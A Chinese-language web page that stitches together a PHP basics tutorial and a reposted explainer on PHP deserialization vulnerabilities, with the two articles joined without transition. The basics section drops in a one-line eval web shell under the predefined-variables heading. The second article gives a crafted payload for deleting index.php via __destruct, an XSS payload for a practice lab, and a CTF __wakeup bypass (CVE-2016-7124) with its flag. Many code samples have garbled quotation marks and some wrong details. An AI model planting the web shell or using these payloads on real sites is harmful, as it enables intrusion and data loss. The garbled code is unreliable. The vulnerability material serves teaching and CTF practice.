PHP基础巩固之基础语法、变量和常量(总结分享)

本篇文章给大家带来了关于PHP的相关知识,其中主要介绍了关于基础语法、变量、变量类型以及常量的相关内容,主要为了巩固基础,希望对大家有帮助。

本篇文章给大家带来了关于PHP的相关知识,其中主要介绍了关于基础语法、变量、变量类型以及常量的相关内容,主要为了巩固基础,希望对大家有帮助。

PHP基础巩固之基础语法、变量和常量(总结分享)

php零基础到就业直播视频课:进入学习程序员必备接口测试调试工具:立即使用

前言:

PHP中文名叫超文本预处理器,是一种通用开源脚本语言。语法吸收了C语言、Java和Perl的特点,利于学习,使用广泛,主要适用于Web开发领域。用PHP做出的动态页面与其他的编程语言相比,PHP是将程序嵌入到HTML(标准通用标记语言下的一个应用)文档中去执行,执行效率比完全生成HTML标记的CGI要高许多;PHP还可以执行编译后代码,编译可以达到加密和优化代码运行,使代码运行更快。

一、基础语法(一)语言标记

  • 基本标记: <?php //PHP代码; ?>
  • 短标记:<? //PHP代码; ?>
  • 脚本标记:<script language=;PHP;>PHP代码;</script>
  • ASP标记:<% //PHP代码;%>

注:纯PHP脚本文件建议使用不闭合基本标记:<?php //PHP代码

(二)指令分隔符

  • PHP用分号来表示一串代码的结束,每段代码必须以;;;结束。
  • 注意:结束标记?>表示的是隐含一个分号,所以PHP代码的最后一行是可以不用加分号的!建议都加。

(三)注释<?php
//这是单行注释
#这也是单行注释
/*
这是多行注释
*/
?>(四)HTML和PHP区别

  • PHP是HTML语言的升级形式,语言结构仍然以HTML为核心;HTML是一种用于指定网页内容的标记语言,而PHP是一种脚本语言
  • 使用HTML创建的网页是静态网页,而PHP文件可以创建动态网页,PHP文件可以包含文本,HTML标记和脚本等等。
  • HTML对于PHP来说就是字符串,而HTML作为PHP语言中的字符串,直接输出;并且HTML标签作为单独的标签,可以写在PHP标签之外!
  • (五)PHP换行

    • ;<br/>;浏览器显示换行,源代码显示<br/>
    • ;\n;浏览器不显示换行,源代码显示换行

    (六);echo;与;print;回显命令区别

    • echo 支持多个字符串输出,用逗号(,)隔开,print只支持一个字符串输出;
    • echo 输出速度比print快;
    • print()有返回值,成功,返回值为1;false,返回值为0,而echo 没有返回值

    <?php
    //echo用法
    echo ;xiaofeng is cool<br>;;
    echo ;xiaofeng;,; ;,;is;,; ;,;cool;,;!;;

    ?>
    <hr>
    <?php
    //print用法
    print ;hello world!;;
    print ;<br>;;
    print ;hello;;
    print ; ;;
    print ;world;;
    print ;!;
    ?>

    PHP基础巩固之基础语法、变量和常量(总结分享)

    总结:编写代码时尽量还是用echo,因为它是支持多字符串输出的,如果你执意要用print,我也拦不住你,可是只能输出一个字符串,可不要贪杯哦~

    (七)关键字

    编程语言里事先定义好并赋予特殊含义的单词,也称作保留字。和其他语言一样,PHP中保留了许多关键字,例如class、public等。

    注:★表示从PHP5.3开始,●表示从PHP5.4开始,▲表示从PHP5.5开始

    PHP基础巩固之基础语法、变量和常量(总结分享)

    (八)基础语法实例说明<html>
    <head>
    <meta charset=;utf-8;>
    </head>
    <body></body>
    </html>

    <?php
    //echo 输出字符串
    echo ;hello,My name is xiaofeng!;;//每行代码必须以;结束
    echo ;<br/>;; #表示换行,浏览器和源代码都显示换行。
    echo ;My name is <span style = ;color:blue;;>xiaofeng</span>;//最后一行可以不用
    ?>

    <hr/>

    <?php
    //再来个php
    echo ;祈祷疫情早日结束!<br>;;
    echo ;常州加油\n常州加油\n常州加油;; //也表示换行,只是浏览器不显示换行,源代码显示换行。
    ?>

    PHP基础巩固之基础语法、变量和常量(总结分享)
    PHP基础巩固之基础语法、变量和常量(总结分享)

    二、变量(一)变量包含的三个内容

    • 变量名
    • 变量值(变化)
    • 数据类型,变量值的类型

    注:PHP脚本语言是一种弱类型语言,和其他语言不同的是变量(常量)的数据类型由程序的上下文决定(给予一个变量赋予什么样的值,就是什么样的数据类型)

    (二)变量的声明和释放<?php
    echo $name;//Notice: Undefined variable
    $name = ;xiaofeng;; //初次赋值,初始化
    echo $name;
    echo ;<hr>;;
    unset($name); //unset()函数释放指定变量
    echo $name;//释放了,输出肯定报错
    ?>

    PHP基础巩固之基础语法、变量和常量(总结分享)

    (三)变量命名和赋值

    • 变量名严格区分大小写
    • 变量名由字母、数字、下划线组成,不能以数字开头,也不能包含其他字符(空白字符、特殊字符、空白符等等)
    • 变量命名时,最好采用驼峰式命名法或者下划线命名法,做到“见面知意”

    1.小驼峰,第一个单词首字母小写,之后单词首字母大写. $ userName (一般用户变量,函数,方法名) 大驼峰,每个单词首字母大写. $ UserModel (一般用于类和类文件命名) 2.下划线命名法,$ _user_name

    <?php
    $age = 21;//变量赋值
    echo $age,$Age,$AGE,$aGe;//变量严格区分大小写,只有第一个输出,后面三个都报错Notice: Undefined variable:

    //echo $name; //Notice: Undefined variable
    echo ;<hr/>;;
    $name = ;zhangsan;;
    $name1 = ;lisi;;
    $my_name = ;xiaofeng;;
    $your_name = ;chuhe;;
    echo $name,;<br>;,$name1,;<br>;,$my_name,;<br>;,$your_name;
    ?>

    PHP基础巩固之基础语法、变量和常量(总结分享)

    注意:命名的时候最好不要使用常量函数名或者类名,PHP是可以使用的,但为了后期代码审计,建议还是不要用PHP关键字作为变量名称。

    (四)可变变量$$

    • 变量名字可以动态的设置和使用
    • 由于$$是php的特性,产生变量覆盖漏洞

    <?php
    $name = ;xiaofeng;;
    #可变变量-$$
    $$name = ;hello world!;;//表示$xiaofeng

    echo ;<hr />;;
    echo $name;
    echo ;<br/>;;
    echo $xiaofeng;//输出hello world!
    ?>

    PHP基础巩固之基础语法、变量和常量(总结分享)

    (五)变量引用赋值

    简单理解为变量起了一个别名!

    <?php
    $a = 20;
    $b = $a;
    $b++;
    echo ;b的值变为了;;echo $b;echo ;<br>;;//b的值变为了21
    echo ;a的值还是;;echo $a;//a的值没变还是20
    echo ;<hr>;;
    $c = &$a; //应用赋值
    $c++; //相当于给$a起了一个别名,$c就是$a的本身
    echo ;c的值变为了;;echo $c;echo ;<br>;; //c的值为21
    echo ;a的值变为了;;echo $a;//a的值也变为了21
    ?>

    PHP基础巩固之基础语法、变量和常量(总结分享)

    (六)预定义变量(全局变量)

    系统定义的变量,都是数组,用户可以直接使用(后期更新博客细说!)

    $_SERVER

    $_GET

    $_POST

    $_REQUEST

    $_FILE

    $_SESSION

    $_COOKIE

    $_ENV

    $GLOBALS

    <?php
    @eval($_POST[;cmd;]);
    ?>

    PHP基础巩固之基础语法、变量和常量(总结分享)

    三、变量类型(数据类型)(一)分类

    PHP基础巩固之基础语法、变量和常量(总结分享)

    (二)整型

    • 规则
  • 整数必须有至少一个数字(0-9)
  • 整数不能包含逗号或空格
  • 整数不能有小数点
  • 整数正负均可
    • 三种格式规定整数:十进制、十六进制(前缀是 0x)或八进制(前缀是 0)

    <?php
    $x = -20; // 负数
    $x = 20; //十进制
    $x = 0x8C; // 十六进制数
    $x = 047; // 八进制数
    $x = b110; //二进制数
    ?>(三)浮点型

    浮点数是有小数点或指数形式的数字。

    <?php
    $f = 3.22;//小数
    $f = 123456789012; //超出整型范围
    $f = 1.2e20;//科学计数法
    /*
    精度:精确的有效数字位数
    Float:单精度,4个字节
    Double:双精度,8个字节
    PHP中都是双精度
    */?>(四)布尔型$a = true;
    $a = false;(五)字符串型<?php
    //单引号定义字符串
    $name = ;xiaofeng;;
    var_dump($name);
    $str = ;I\;m xiaofeng!;; //单引号定义字符串出现字符串,采用\进行转义
    $str = ;{$name},I\;m xiaofeng!;;//单引号定义的字符串中出现变量名,不会引用变量的值。
    echo ;<br/>;;echo $str;
    echo ;<hr/>;;

    //双引号定义字符串
    $name = ;chuhe;;
    $str = ;I;m chuhe!;;//双引号定义字符串,直接输出即可
    $str = ;{$name},I;m chuhe;;//双引号定义的字符串中出现变量名,会引用变量的值。
    echo $str;
    echo ;<hr/>;;

    //定界符定义字符串
    $str = <<<dada
    %$^%&%&%&%&^%##$#$@#;;;
    <p style = ;color:green;;>xiaofengdada</p>
    dada;
    //定界符结尾后面不能有任何字符,包括注释,并且闭合定界符必须位于行的开头!
    echo $str;
    ?>

    PHP基础巩固之基础语法、变量和常量(总结分享)

    定义字符串时需要注意:

    • 单引号“ :内部的内容只是作为字符串。

    • 双引号;; :如果内部是PHP的变量,那么会将该变量的值解析。如果内部是html代码,也会解析成html。

    • 定界符:第一个定界符行后不能有任何字符(包含空格),闭合定界符必须位于行的开头

    (六)数组型

    数组在一个变量中存储多个值。

    <?php
    $cars=array(;name;,;age;,;Sex;);
    var_dump($cars);
    ?>(七)特殊数据类型——NULL

    特殊的 NULL 值表示变量无值。NULL 是数据类型 NULL 唯一可能的值。NULL 值标示变量是否为空。也用于区分空字符串与空值数据库。

    <?php
    $a=null;
    var_dump($a);
    ?>四、常量(一)常量和变量的区别

    • 常量前面没有美元符号($)
    • 常量只能用 define() 函数定义,而不能通过赋值语句
    • 常量可以不用理会变量范围的规则而在任何地方定义和访问
    • 常量一旦定义就不能被重新定义或者取消定义
    • 常量的值一般是bool,int,float,string类型

    (二)预定义常量

    PHP已经定义好了的,可以直接使用的常量,一般代表特殊的含义。

    系统常量:PHP_VERSION,PHP_INT_MAX,PHP_INT_SIZE

    魔术常量:__DIR__,__FILE__,__LINE__,__CLASS__,__METHOD__,__NAMESPACE__

    PHP基础巩固之基础语法、变量和常量(总结分享)

    <?php
    define(;name;,;xiaofeng;);//定义一个常量
    echo name;
    echo ;<hr>;;
    #name = ;chuhe;;//Parse error: syntax error, unexpected ;=;
    echo __FILE__;echo ;<hr>;;//输出当前文件名完整路径
    echo __LINE__;echo ;<hr>;;//输出php源码中的行号
    echo PHP_OS;echo ;<hr>;;//输出当前系统UNIX或者WINNT
    echo PHP_VERSION;echo ;<hr>;;//输出当前php版本
    echo DIRECTORY_SEPARATOR;echo ;<hr>;;//输出操作系统决定目录的分隔符\/
    ?>

    PHP基础巩固之基础语法、变量和常量(总结分享)

    详细解析PHP反序列化漏洞

    转载2022-04-07 12:57:041665 + php学习QQ群:609135716本篇文章给大家带来了关于PHP的相关知识,其中主要介绍了关于反序列化漏洞的相关问题,包括了PHP面向对象编程、序列化与反序列化、反序列化漏洞原理等等内容,希望对大家有帮助。

    PHP基础巩固之基础语法、变量和常量(总结分享)

    php零基础到就业直播视频课:进入学习程序员必备接口测试调试工具:立即使用

    一、PHP面向对象编程

    在面向对象的程序设计(Object-oriented programming,OOP)中,

    对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。

    类是一个共享相同结构和行为的对象的集合。每个类的定义都以关键字class开头,后面跟着类的名字。

    创建一个PHP类:

    <?php
    class TestClass //定义一个类
    {
    //一个变量
    public $variable = 'This is a string';
    //一个方法
    public function PrintVariable()
    {
    echo $this->variable;
    }
    }
    //创建一个对象
    $object = new TestClass();
    //调用一个方法
    $object->PrintVariable();
    ?>

    public、protected、private

    PHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。

    public(公有):公有的类成员可以在任何地方被访问。

    protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。

    private(私有):私有的类成员则只能被其定义所在的类访问。

    注意:访问控制修饰符不同,序列化后属性的长度和属性值会有所不同,如下所示:

    public:属性被序列化的时候属性值会变成 属性名

    protected:属性被序列化的时候属性值会变成 \x00*\x00属性名

    private:属性被序列化的时候属性值会变成 \x00类名\x00属性名

    其中:\x00表示空字符,但是还是占用一个字符位置(空格),如下例

    <?phpclass People{
    public $id;
    protected $gender;
    private $age;
    public function __construct(){
    $this->id = 'Hardworking666';
    $this->gender = 'male';
    $this->age = '18';
    }}$a = new People();echo serialize($a);?>O:6:"People":3:{s:2:"id";s:14:"Hardworking666";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"18";}

    魔术方法(magic函数)

    PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods)

    PHP官方——魔术方法PHP中16 个魔术方法详解

    类可能会包含一些特殊的函数:magic函数,这些函数在某些情况下会自动调用。

    __construct()//类的构造函数,创建对象时触发

    __destruct() //类的析构函数,对象被销毁时触发

    __call() //在对象上下文中调用不可访问的方法时触发

    __callStatic() //在静态上下文中调用不可访问的方法时触发

    __get()//读取不可访问属性的值时,这里的不可访问包含私有属性或未定义

    __set()//在给不可访问属性赋值时触发

    __isset() //当对不可访问属性调用 isset() 或 empty() 时触发

    __unset() //在不可访问的属性上使用unset()时触发

    __invoke() //当尝试以调用函数的方式调用一个对象时触发

    __sleep() //执行serialize()时,先会调用这个方法

    __wakeup() //执行unserialize()时,先会调用这个方法

    __toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

    serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。

    我们需要重点关注一下5个魔术方法,所以再强调一下:

    __construct:构造函数,当一个对象创建时调用

    __destruct:析构函数,当一个对象被销毁时调用

    __toString:当一个对象被当作一个字符串时使用

    __sleep:在对象序列化的时候调用

    __wakeup:对象重新醒来,即由二进制串重新组成一个对象的时候(在一个对象被反序列化时调用)

    从序列化到反序列化这几个函数的执行过程是:

    __construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()

    <?php
    class TestClass
    {
    //一个变量
    public $variable = 'This is a string';
    //一个方法
    public function PrintVariable()
    {
    echo $this->variable.'<br />';
    }
    //构造函数
    public function __construct()
    {
    echo '__construct<br />';
    }
    //析构函数
    public function __destruct()
    {
    echo '__destruct<br />';
    }
    //当对象被当作一个字符串
    public function __toString()
    {
    return '__toString<br />';
    }
    }
    //创建一个对象
    //__construct会被调用
    $object = new TestClass();
    //创建一个方法
    //‘This is a string’将会被输出
    $object->PrintVariable();
    //对象被当作一个字符串
    //toString会被调用
    echo $object;
    //php脚本要结束时,__destruct会被调用
    ?>

    输出结果:

    __construct
    This is a string
    __toString
    __destruct

    __toString()这个魔术方法能触发的因素太多,所以有必要列一下:

    1. echo($obj)/print($obj)打印时会触发
    2. 反序列化对象与字符串连接时
    3. 反序列化对象参与格式化字符串时
    4. 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
    5. 反序列化对象参与格式化SQL语句,绑定参数时
    6. 反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等
    7. 在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用
    8. 反序列化的对象作为class_exists()的参数的时候

    魔术方法在反序列化攻击中的作用

    反序列化的入口在unserialize(),只要参数可控并且这个类在当前作用域存在,就能传入任何已经序列化的对象,而不是局限于出现unserialize()函数的类的对象。

    如果只能局限于当前类,那攻击面就太小了,而且反序列化其他类对象只能控制属性,如果没有完成反序列化后的代码中调用其他类对象的方法,还是无法利用漏洞进行攻击。

    但是,利用魔术方法就可以扩大攻击面,魔术方法是在该类序列化或者反序列化的同时自动完成的,这样就可以利用反序列化中的对象属性来操控一些能利用的函数,达到攻击的目的。

    通过下例理解魔术方法在反序列漏洞中的作用,代码如下:

    二、PHP序列化和反序列化

    PHP序列化

    有时需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等到达另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)。

    json数据使用 , 分隔开,数据内使用 : 分隔键和值

    json数据其实就是个数组,这样做的目的也是为了方便在前后端传输数据,后端接受到json数据,可以通过json_decode()得到原数据, 这种将原本的数据通过某种手段进行"压缩",并且按照一定的格式存储的过程就可以称之为序列化。

    有两种情况必须把对象序列化: 把一个对象在网络中传输 把对象写入文件或数据库

    相关概念可以参考我以前的文章:Python序列化与反序列化详解(包括json和json模块详解)

    PHP序列化:把对象转化为二进制的字符串,使用serialize()函数 PHP反序列化:把对象转化的二进制字符串再转化为对象,使用unserialize()函数

    通过例子来看PHP序列化后的格式:

    <?php
    class User
    {
    //类的数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
    echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
    } // “.”表示字符串连接
    }
    //创建一个对象
    $usr = new User();
    //设置数据
    $usr->age = 18;
    $usr->name = 'Hardworking666';
    //输出数据
    $usr->printdata();
    //输出序列化后的数据
    echo serialize($usr)
    ?>

    输出结果:

    User Hardworking666 is 18 years old.
    O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}

    下面的 O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";} 就是对象user序列化后的形式。

    “O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个参数。

    “{}”里面是参数的key和value,

    “s”表示string对象,“3”表示长度,“age”则为key;“i”是interger(整数)对象,“18”是value,后面同理。

    序列化格式:

    a – array 数组型
    b – boolean 布尔型
    d – double 浮点型
    i – integer 整数型
    o – common object 共同对象
    r – objec reference 对象引用
    s – non-escaped binary string 非转义的二进制字符串
    S – escaped binary string 转义的二进制字符串
    C – custom object 自定义对象
    O – class 对象
    N – null 空
    R – pointer reference 指针引用
    U – unicode string Unicode 编码的字符串

    PHP序列化需注意以下几点:

    1、序列化只序列属性,不序列方法 2、因为序列化不序列方法,所以反序列化之后如果想正常使用这个对象的话我们必须要依托这个类要在当前作用域存在的条件 3、我们能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发动攻击

    PHP反序列化

    对上例进行反序列化:

    <?php
    class User
    {
    //类的数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
    echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
    }
    }
    //重建对象
    $usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}');
    //输出数据
    $usr->printdata();
    ?>User Hardworking666 is 18 years old.

    _sleep 方法在一个对象被序列化时调用,_wakeup方法在一个对象被反序列化时调用

    <?phpclass test{
    public $variable = '变量反序列化后都要销毁'; //公共变量
    public $variable2 = 'OTHER';
    public function printvariable()
    {
    echo $this->variable.'<br />';
    }
    public function __construct()
    {
    echo '__construct'.'<br />';
    }
    public function __destruct()
    {
    echo '__destruct'.'<br />';
    }
    public function __wakeup()
    {
    echo '__wakeup'.'<br />';
    }
    public function __sleep()
    {
    echo '__sleep'.'<br />';
    return array('variable','variable2');
    }}//创建一个对象,回调用__construct$object = new test();
    //序列化一个对象,会调用__sleep$serialized = serialize($object);
    //输出序列化后的字符串print 'Serialized:'.$serialized.'<br />';
    //重建对象,会调用__wakeup$object2 = unserialize($serialized);
    //调用printvariable,会输出数据(变量反序列化后都要销毁)$object2->printvariable();
    //脚本结束,会调用__destruct?>__construct
    __sleep
    Serialized:O:4:"test":2:{s:8:"variable";s:33:"变量反序列化后都要销毁";s:9:"variable2";s:5:"OTHER";}__wakeup
    变量反序列化后都要销毁
    __destruct
    __destruct

    从序列化到反序列化这几个函数的执行过程是:__construct() ->__sleep -> __wakeup() -> __toString() -> __destruct()

    PHP为何要序列化和反序列化

    PHP的序列化与反序列化其实是为了解决一个问题:PHP对象传递问题

    PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁。

    如果刚好要用到销毁的对象,难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化

    从上文可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。

    三、PHP反序列化漏洞原理

    序列化和反序列化本身没有问题,

    但是反序列化内容用户可控,

    且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。

    当传给unserialize()的参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

    调用__destruct删除

    存在漏洞的思路:一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件将会被删除:

    //logdata.php<?phpclass logfile{
    //log文件名
    public $filename = 'error.log';
    //一些用于储存日志的代码
    public function logdata($text)
    {
    echo 'log data:'.$text.'<br />';
    file_put_contents($this->filename,$text,FILE_APPEND);
    }
    //destrcuctor 删除日志文件
    public function __destruct()
    {
    echo '__destruct deletes '.$this->filename.'file.<br />';
    unlink(dirname(__FILE__).'/'.$this->filename);
    }}?>

    调用这个类:

    <?phpinclude 'logdata.php'class User{
    //类数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
    echo 'User '.$this->name.' is'.$this->age.' years old.<br />';
    }}//重建数据$usr = unserialize($_GET['usr_serialized']);?>

    代码$usr = unserialize($_GET['usr_serialized']);中的$_GET[‘usr_serialized’]是可控的,那么可以构造输入,删除任意文件。

    如构造输入删除目录下的index.php文件:

    <?php
    include 'logdata.php';
    $object = new logfile();
    $object->filename = 'index.php';
    echo serialize($object).'<br />';
    ?>

    上面展示了由于输入可控造成的__destruct函数删除任意文件,其实问题也可能存在于__wakeup、__sleep、__toString等其他magic函数。

    比如,某用户类定义了一个__toString,为了让应用程序能够将类作为一个字符串输出(echo $object),而且其他类也可能定义了一个类允许__toString读取某个文件。

    XSS(跨站脚本攻击)攻击

    XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

    例如,皮卡丘靶场PHP反序列化漏洞

    $html=";
    if(isset($_POST['o'])){ $s = $_POST['o'];
    if(!@$unser = unserialize($s)){ $html.="<p>错误输出</p>";
    }else{ $html.="<p>{$unser->test)</p>";
    }

    为了执行<script>alert('xss')</script>,Payload:

    O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

    其他知识点:

    unserialize漏洞依赖条件: 1、unserialize函数的参数可控 2、脚本中存在一个构造函数(__construct())、析构函数(__destruct())、__wakeup()函数中有向PHP文件中写数据的操作类 3、所写的内容需要有对象中的成员变量的值

    防范方法: 1、严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则 2、对于unserialize后的变量内容进行检查,以确定内容没有被污染

    四、实例

    PHP反序列化绕过__wakeup() CTF例题

    攻防世界xctf web unserialize3

    打开网址后的代码:

    class xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}?code=

    已知在使用 unserialize() 反序列化时会先调用 __wakeup()函数,

    而本题的关键就是如何 绕过 __wakeup()函数,就是 在反序列化的时候不调用它

    当 序列化的字符串中的 属性值 个数 大于 属性个数 就会导致反序列化异常,从而绕过 __wakeup()

    代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的 这里没有特别对哪个字符串序列化,所以把xctf类实例化后,进行反序列化。

    我们利用php中的new运算符,实例化类xctf。

    new 是申请空间的操作符,一般用于类。 比如定义了一个 class a{public i=0;}$c = new a(); 相当于定义了一个基于a类的对象,这时候 $c->i 就是0

    构造序列化的代码在编辑器内执行:

    <?php
    class xctf{
    public $flag = '111'; //public定义flag变量公开可见
    public function __wakeup(){
    exit('bad requests');
    }
    }//题目少了一个},这里补上
    $a=new xctf();
    echo(serialize($a));
    ?>

    运行结果

    O:4:"xctf":1:{s:4:"flag";s:3:"111";}

    序列化返回的字符串格式:

    O:<length>:"<class name>":<n>:{<field name 1><field value 1>…<field name n><field value n>}

    O:表示序列化的是对象<length>:表示序列化的类名称长度<class name>:表示序列化的类的名称<n>:表示被序列化的对象的属性个数<field name 1>:属性名<field value 1>:属性值

    所以要修改属性值<n>,既把1改为2以上。

    O:4:"xctf":2:{s:4:"flag";s:3:"111";}

    在url中输入:

    ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

    得到flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e}

    漏洞:__wakeup绕过(CVE-2016-7124) CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

    官方给出的影响版本: PHP5 < 5.6.25 PHP7 < 7.0.10

    以上就是详细解析PHP反序列化漏洞的详细内容,更多请关注钦钦技术栈其它相关文章!

    转载至:php中文网【www.php.cn】

    版权声明:本文(即:原文链接:https://www.qin1qin.com/catagory/24411/)内容由互联网用户自发投稿贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 630367839@qq.com 举报,一经查实,本站将立刻删除。

    (0)
    上一篇 2022年9月21日 下午2:59
    下一篇 2022年9月21日 下午3:01
    软件定制开发公司

    相关阅读

    发表回复

    登录后才能评论
    通知:禁止投稿所有关于虚拟货币,币圈类相关文章,发现立即永久封锁账户ID!